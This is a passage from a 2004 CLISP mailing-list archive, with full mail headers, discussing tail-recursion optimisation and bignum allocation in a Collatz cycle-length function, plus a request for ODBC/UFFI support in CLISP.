clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 10:02:36 2004 X-Original-Date: Wed, 28 Jul 2004 09:52:21 -0700 (PDT) Hello, One of the stated advantages is tail recursion is that it can be optmized automatically into loops. (defun three-n (n m) (cond ((= n 1) m) ((oddp n) (three-n (1+ (* 3 n)) (1+ m))) (t (three-n (/ n 2) (1+ m))))) This function remains unoptimized even after I call compile. Is there any command to force such optimization? TIA. __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages! http://promotions.yahoo.com/new_mail From pascal@informatimago.com Wed Jul 28 10:55:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bpse0-00066F-56 for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 10:55:12 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bpsdz-0001Xq-6q for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 10:55:12 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6F580586E3; Wed, 28 Jul 2004 19:55:05 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 424A54D5A1; Wed, 28 Jul 2004 19:55:04 +0200 (CEST) Message-ID: <16647.59512.190991.299058@thalassa.informatimago.com> To: Elvin Peterson Cc: Clisp Subject: [clisp-list] tail recursion optimization In-Reply-To: <20040728165221.28859.qmail@web52201.mail.yahoo.com> References: <20040728165221.28859.qmail@web52201.mail.yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 11:02:59 2004 X-Original-Date: Wed, 28 Jul 2004 19:55:04 +0200 Elvin Peterson writes: > Hello, > One of the stated advantages is tail recursion is > that it can be optmized automatically into loops. > > (defun three-n (n m) > (cond > ((= n 1) m) > ((oddp n) (three-n (1+ (* 3 n)) (1+ m))) > (t (three-n (/ n 2) (1+ m))))) > > This function remains unoptimized even after I call > compile. Is there any command to force such > optimization? I see it optimized: CL-USER> (defun three-n (n m) (cond ((= n 1) m) ((oddp n) (three-n (1+ (* 3 n)) (1+ m))) (t (three-n (/ n 2) (1+ m))))) THREE-N CL-USER> (compile 'three-n) THREE-N NIL NIL CL-USER> (disassemble 'three-n) Disassembly of function THREE-N (CONST 0) = 1 (CONST 1) = 3 (CONST 2) = 1/2 2 required arguments 0 optional arguments No rest parameter No keyword parameters 22 byte-code instructions: 0 L0 0 (LOAD&PUSH 2) 1 (CONST&PUSH 0) ; 1 2 (CALLSR&JMPIF 1 45 L22) ; = 6 (LOAD&PUSH 2) 7 (CALLS2&JMPIF 148 L25) ; ODDP 10 (CONST&PUSH 2) ; 1/2 11 (LOAD&PUSH 3) 12 (CALLSR 2 55) ; * 15 L15 15 (PUSH) 16 (LOAD&INC&PUSH 2) 18 (JMPTAIL 2 5 L0) 22 L22 22 (LOAD 1) 23 (SKIP&RET 3) 25 L25 25 (CONST&PUSH 1) ; 3 26 (LOAD&PUSH 3) 27 (CALLSR&PUSH 2 55) ; * 30 (CALLS2 150) ; 1+ 32 (JMP L15) NIL CL-USER> (lisp-implementation-version) "2.33.1 (2004-05-22) (built 3297451256) (memory 3297451635)" CL-USER> -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From elvin_peterson@yahoo.com Wed Jul 28 11:17:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpszP-0002CV-Gc for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 11:17:19 -0700 Received: from web52205.mail.yahoo.com ([206.190.39.87]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1BpszP-00052a-2B for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 11:17:19 -0700 Message-ID: <20040728181713.91966.qmail@web52205.mail.yahoo.com> Received: from [202.83.41.252] by web52205.mail.yahoo.com via HTTP; Wed, 28 Jul 2004 11:17:13 PDT From: Elvin Peterson Subject: Re: [clisp-list] tail recursion optimization To: Clisp In-Reply-To: <16647.59512.190991.299058@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 11:23:54 2004 X-Original-Date: Wed, 28 Jul 2004 11:17:13 -0700 (PDT) --- "Pascal J.Bourguignon" wrote: > Elvin Peterson writes: > > Hello, > > One of the stated advantages is tail recursion > is > > that it can be optmized automatically into loops. > > > > (defun three-n (n m) > > (cond > > ((= n 1) m) > > ((oddp n) (three-n (1+ (* 3 n)) (1+ m))) > > (t (three-n (/ n 2) (1+ m))))) > > > > This function remains unoptimized even after I > call > > compile. Is there any command to force such > > optimization? > > I see it optimized: > > > CL-USER> (defun three-n (n m) > (cond > ((= n 1) m) > ((oddp n) (three-n (1+ (* 3 n)) (1+ m))) > (t (three-n (/ n 2) (1+ m))))) > THREE-N > CL-USER> (compile 'three-n) > THREE-N > NIL > NIL > CL-USER> (disassemble 'three-n) > > > Disassembly of function THREE-N > (CONST 0) = 1 > (CONST 1) = 3 > (CONST 2) = 1/2 > 2 required arguments > 0 optional arguments > No rest parameter > No keyword parameters > 22 byte-code instructions: > 0 L0 > 0 (LOAD&PUSH 2) > 1 (CONST&PUSH 0) ; 1 > 2 (CALLSR&JMPIF 1 45 L22) ; = > 6 (LOAD&PUSH 2) > 7 (CALLS2&JMPIF 148 L25) ; ODDP > 10 (CONST&PUSH 2) ; 1/2 > 11 (LOAD&PUSH 3) > 12 (CALLSR 2 55) ; * > 15 L15 > 15 (PUSH) > 16 (LOAD&INC&PUSH 2) > 18 (JMPTAIL 2 5 L0) > 22 L22 > 22 (LOAD 1) > 23 (SKIP&RET 3) > 25 L25 > 25 (CONST&PUSH 1) ; 3 > 26 (LOAD&PUSH 3) > 27 (CALLSR&PUSH 2 55) ; * > 30 (CALLS2 150) ; 1+ > 32 (JMP L15) > NIL This is what I get too. I have the following code: (defun max-cycle-len (n m) (let ((max-len 0)) (dotimes (i (- m n) max-len) (setf max-len (max (three-n (+ i n) 1) max-len))))) Since this is purely iterative, shouldn't the memory requirements be constant? However, I cannot run this for values greater than 1,00,000, as it takes a lot of time and space. This is a problem I found on this site: http://acm.uva.es/p/v1/100.html And they have stated that C/C++ solutions run in time 0.00 for values of n,m close to 1,000,000. TIA. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From pascal@informatimago.com Wed Jul 28 13:51:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpvOI-0006K9-LN for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 13:51:10 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BpvOH-0007CU-Un for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 13:51:10 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A9380586E3; Wed, 28 Jul 2004 22:51:04 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1F00E4D59F; Wed, 28 Jul 2004 22:51:03 +0200 (CEST) Message-ID: <16648.4534.984232.493699@thalassa.informatimago.com> To: Elvin Peterson Cc: Clisp Subject: Re: [clisp-list] tail recursion optimization In-Reply-To: <20040728181713.91966.qmail@web52205.mail.yahoo.com> References: <16647.59512.190991.299058@thalassa.informatimago.com> <20040728181713.91966.qmail@web52205.mail.yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 14:00:44 2004 X-Original-Date: Wed, 28 Jul 2004 22:51:02 +0200 Elvin Peterson writes: > > > (defun three-n (n m) > > > (cond > > > ((= n 1) m) > > > ((oddp n) (three-n (1+ (* 3 n)) (1+ m))) > > > (t (three-n (/ n 2) (1+ m))))) > > > > > This is what I get too. I have the following code: > > (defun max-cycle-len (n m) > (let ((max-len 0)) > (dotimes (i (- m n) max-len) > (setf max-len (max (three-n (+ i n) 1) > max-len))))) > > Since this is purely iterative, shouldn't the memory > requirements be constant? However, I cannot run this > for values greater than 1,00,000, as it takes a lot of > time and space. Did you try to evaluate the complexity of three-n? There is even yet no proof that it will terminate for all integer input! > This is a problem I found on this site: > http://acm.uva.es/p/v1/100.html > And they have stated that C/C++ solutions run in time > 0.00 for values of n,m close to 1,000,000. Same here in clisp: CL-USER> (time (max-cycle-len 1000000 1000010)) Real time: 0.001348 sec. Run time: 0.0 sec. Space: 0 Bytes 259 -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From pascal@informatimago.com Wed Jul 28 13:54:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpvRt-0006vm-Nm for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 13:54:53 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BpvRt-000800-18 for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 13:54:53 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 77168586E4; Wed, 28 Jul 2004 22:54:51 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id E70BC4D5A5; Wed, 28 Jul 2004 22:54:49 +0200 (CEST) Message-ID: <16648.4761.779046.298545@thalassa.informatimago.com> To: Massimiliano Campagnoli Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Feature request: ODBC support In-Reply-To: <4107A0F2.7080606@paoloastori.com> References: <4107A0F2.7080606@paoloastori.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 14:01:32 2004 X-Original-Date: Wed, 28 Jul 2004 22:54:49 +0200 Massimiliano Campagnoli writes: > Dear all, > > finally I am back to lisp after years of boring C/C++ development. > My current project is to port all the company ERP system from C++ with > desktop GUI to LISP with Web based GUI. > Our choice went to CLISP because is stable, light and has an excellent > FCGI support. > Unfortunately we are forced to use IBM DB/2 as relational database which > is not accessible from CLISP directly > and we have estimated a lot of effort to enable CLISP to access DB/2 > through FFI calls. > As you all probably know the CLSQL package requires UFFI and so does not > work with CLISP. > I am almost forced to move to CMUCL/SBCL or propretary implementation > (Allegro CL) to have ODBC/DB2 access. > May I suggest the CLISP community to consider the possibility to > implement UFFI as a second foreign function interface in order to use > the good UFFI based packages out there ? I guess you did not try my UFFI for clisp? http://www.informatimago.com/develop/lisp/ Can't blame you, I've not tested myself yet... -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From sds@gnu.org Wed Jul 28 14:31:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bpw13-0004su-Aj for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 14:31:13 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bpw12-0008M3-NE for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 14:31:13 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6SLV3Yv013113; Wed, 28 Jul 2004 17:31:04 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Elvin Peterson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040728181713.91966.qmail@web52205.mail.yahoo.com> (Elvin Peterson's message of "Wed, 28 Jul 2004 11:17:13 -0700 (PDT)") References: <16647.59512.190991.299058@thalassa.informatimago.com> <20040728181713.91966.qmail@web52205.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Elvin Peterson Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: tail recursion optimization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 14:41:11 2004 X-Original-Date: Wed, 28 Jul 2004 17:31:03 -0400 > * Elvin Peterson [2004-07-28 11:17:13 -0700]: > > (defun max-cycle-len (n m) > (let ((max-len 0)) > (dotimes (i (- m n) max-len) > (setf max-len (max (three-n (+ i n) 1) > max-len))))) > > Since this is purely iterative, shouldn't the memory requirements be > constant? However, I cannot run this for values greater than > 1,00,000, as it takes a lot of time and space. let us investigate: (defun cycle-length (n &optional (len 1) (top 0)) (cond ((= n 1) (values len top)) ((evenp n) (cycle-length (ash n -1) (1+ len) (max top n))) (t (let ((next (1+ (* 3 n)))) (cycle-length next (1+ len) (max top next)))))) (defun max-cycle-length (n m) (loop :with arg :and len = 0 :and top :for i :from n :to m :do (multiple-value-bind (le to) (cycle-length i) (when (> le len) (setq arg i len le top to))) :finally (return (values arg len top)))) thus we are getting not just the max cycle-length, but also the number for which this maximum is achieved and the top intermediate number in the sequence whose length is the cycle-length. then let us see what data is actually allocated: (ext:times (max-cycle-length 1000000 4000000)) Permanent Temporary Class instances bytes instances bytes ----- --------- --------- --------- --------- BIGNUM 1 16 13346541 160531616 ----- --------- --------- --------- --------- Total 1 16 13346541 160531616 Real time: 269.785242 sec. Run time: 254.7262784 sec. Space: 160566840 Bytes GC: 18, GC time: 0.1702448 sec. 3732423 ; 597 ; 294475592320 so, the max cycle-length is 597, it is achieved on 3732423 and the maximum number in the cycle is 294475592320 -- which is a bignum! that's what you see in the TIMES output: there were 13346541 temporary BIGNUMs allocated (for all the numbers in the cycles of all the integers between 1000000 and 4000000) and a single permanent bignum for the return value. So the code operates in fixed stack space but it has to cons up some bignums. Note that (integer-length 294475592320) ==> 39 i.e. 32-bit integers are insufficient to perform the above calculations (contrary to http://acm.uva.es/p/v1/100.html). E.g., (defun max-cycle-length (n m) (loop :with arg :and len = 0 :and top :for i :from n :to m :do (multiple-value-bind (le to) (cycle-length i) (when (> (integer-length to) 32) (format t "~:D --> ~:D, ~:D~%" i le to)) (when (> le len) (setq arg i len le top to))) :finally (return (values arg len top)))) (max-cycle-length 500000 1000000) 502,441 --> 333, 24,414,590,536 504,057 --> 196, 17,202,377,752 538,271 --> 178, 17,202,377,752 540,542 --> 408, 24,648,077,896 540,543 --> 408, 24,648,077,896 559,785 --> 165, 4,711,755,904 565,247 --> 328, 24,414,590,536 567,065 --> 191, 17,202,377,752 577,230 --> 390, 24,648,077,896 577,231 --> 390, 24,648,077,896 581,883 --> 204, 6,973,568,800 608,111 --> 403, 24,648,077,896 626,331 --> 509, 7,222,283,188 629,759 --> 160, 4,711,755,904 630,527 --> 240, 8,501,092,072 637,948 --> 186, 17,202,377,752 637,949 --> 186, 17,202,377,752 637,950 --> 186, 17,202,377,752 640,641 --> 416, 24,648,077,896 649,385 --> 385, 24,648,077,896 654,619 --> 199, 6,973,568,800 655,359 --> 292, 5,516,201,896 656,415 --> 292, 12,601,065,832 665,215 --> 442, 52,483,285,312 669,921 --> 336, 24,414,590,536 687,871 --> 380, 20,077,607,536 689,639 --> 212, 6,973,568,800 704,511 --> 243, 56,991,483,520 704,623 --> 504, 7,222,283,188 717,694 --> 181, 17,202,377,752 717,695 --> 181, 17,202,377,752 720,722 --> 411, 24,648,077,896 720,723 --> 411, 24,648,077,896 730,559 --> 380, 24,648,077,896 736,447 --> 194, 6,973,568,800 747,291 --> 248, 8,501,092,072 753,662 --> 331, 24,414,590,536 753,663 --> 331, 24,414,590,536 756,086 --> 194, 17,202,377,752 756,087 --> 194, 17,202,377,752 763,675 --> 318, 10,296,265,264 769,641 --> 393, 24,648,077,896 780,391 --> 331, 23,996,686,912 807,407 --> 176, 17,202,377,752 810,814 --> 406, 24,648,077,896 810,815 --> 406, 24,648,077,896 822,139 --> 344, 23,996,686,912 829,087 --> 194, 13,428,962,944 833,775 --> 357, 5,697,379,672 839,678 --> 163, 4,711,755,904 839,679 --> 163, 4,711,755,904 840,702 --> 243, 8,501,092,072 840,703 --> 243, 8,501,092,072 847,871 --> 326, 24,414,590,536 850,596 --> 189, 17,202,377,752 850,597 --> 189, 17,202,377,752 850,598 --> 189, 17,202,377,752 854,191 --> 419, 24,648,077,896 859,135 --> 313, 10,296,265,264 865,846 --> 388, 24,648,077,896 865,847 --> 388, 24,648,077,896 872,825 --> 202, 6,973,568,800 886,953 --> 445, 52,483,285,312 901,119 --> 251, 4,494,683,032 906,175 --> 445, 8,368,783,432 912,167 --> 401, 24,648,077,896 917,161 --> 383, 20,077,607,536 919,518 --> 215, 6,973,568,800 919,519 --> 215, 6,973,568,800 920,559 --> 308, 5,516,201,896 924,907 --> 339, 23,996,686,912 937,599 --> 339, 5,618,306,500 939,497 --> 507, 7,222,283,188 944,639 --> 158, 4,711,755,904 945,791 --> 238, 8,501,092,072 956,924 --> 184, 17,202,377,752 956,925 --> 184, 17,202,377,752 956,926 --> 184, 17,202,377,752 960,962 --> 414, 24,648,077,896 960,963 --> 414, 24,648,077,896 974,078 --> 383, 24,648,077,896 974,079 --> 383, 24,648,077,896 975,015 --> 321, 7,597,578,112 981,929 --> 197, 6,973,568,800 983,039 --> 290, 5,516,201,896 984,623 --> 290, 12,601,065,832 997,823 --> 440, 52,483,285,312 837,799 ; 525 ; 2,974,984,576 note that max LEN and max TOP are achieved on different arguments! -- Sam Steingold (http://www.podval.org/~sds) running w2k When we write programs that "learn", it turns out we do and they don't. From sds@gnu.org Wed Jul 28 14:41:30 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpwB0-000712-0v for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 14:41:30 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BpwAz-0002RK-IT for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 14:41:29 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6SLegYv015190; Wed, 28 Jul 2004 17:40:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible , Joerg-Cyril Hoehle Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16648.4761.779046.298545@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Wed, 28 Jul 2004 22:54:49 +0200") References: <4107A0F2.7080606@paoloastori.com> <16648.4761.779046.298545@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible , Joerg-Cyril Hoehle Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Feature request: ODBC support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 14:47:19 2004 X-Original-Date: Wed, 28 Jul 2004 17:40:42 -0400 > * Pascal J.Bourguignon [2004-07-28 22:54:49 +0200]: > > I guess you did not try my UFFI for clisp? > http://www.informatimago.com/develop/lisp/ > Can't blame you, I've not tested myself yet... I consider this to be a very high priority item. Is there any functionality which you need in CLISP to finish your port? -- Sam Steingold (http://www.podval.org/~sds) running w2k If your VCR is still blinking 12:00, you don't want Linux. From andreas.thiele@technologiekontor.de Wed Jul 28 14:54:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpwNx-0001W7-3R for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 14:54:53 -0700 Received: from natnoddy.rzone.de ([81.169.145.166]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BpwNu-0000jv-MP for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 14:54:51 -0700 Received: from atpws02 (pD95D5DA4.dip.t-dialin.net [217.93.93.164]) by post.webmailer.de (8.12.10/8.12.10) with ESMTP id i6SLskmV027470; Wed, 28 Jul 2004 23:54:46 +0200 (MEST) From: "Andreas Thiele" To: "'Massimiliano Campagnoli'" , Subject: AW: [clisp-list] Feature request: ODBC support Message-ID: <000501c474ed$7f429e40$13b5fea9@atpws02> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 In-Reply-To: <4107A0F2.7080606@paoloastori.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 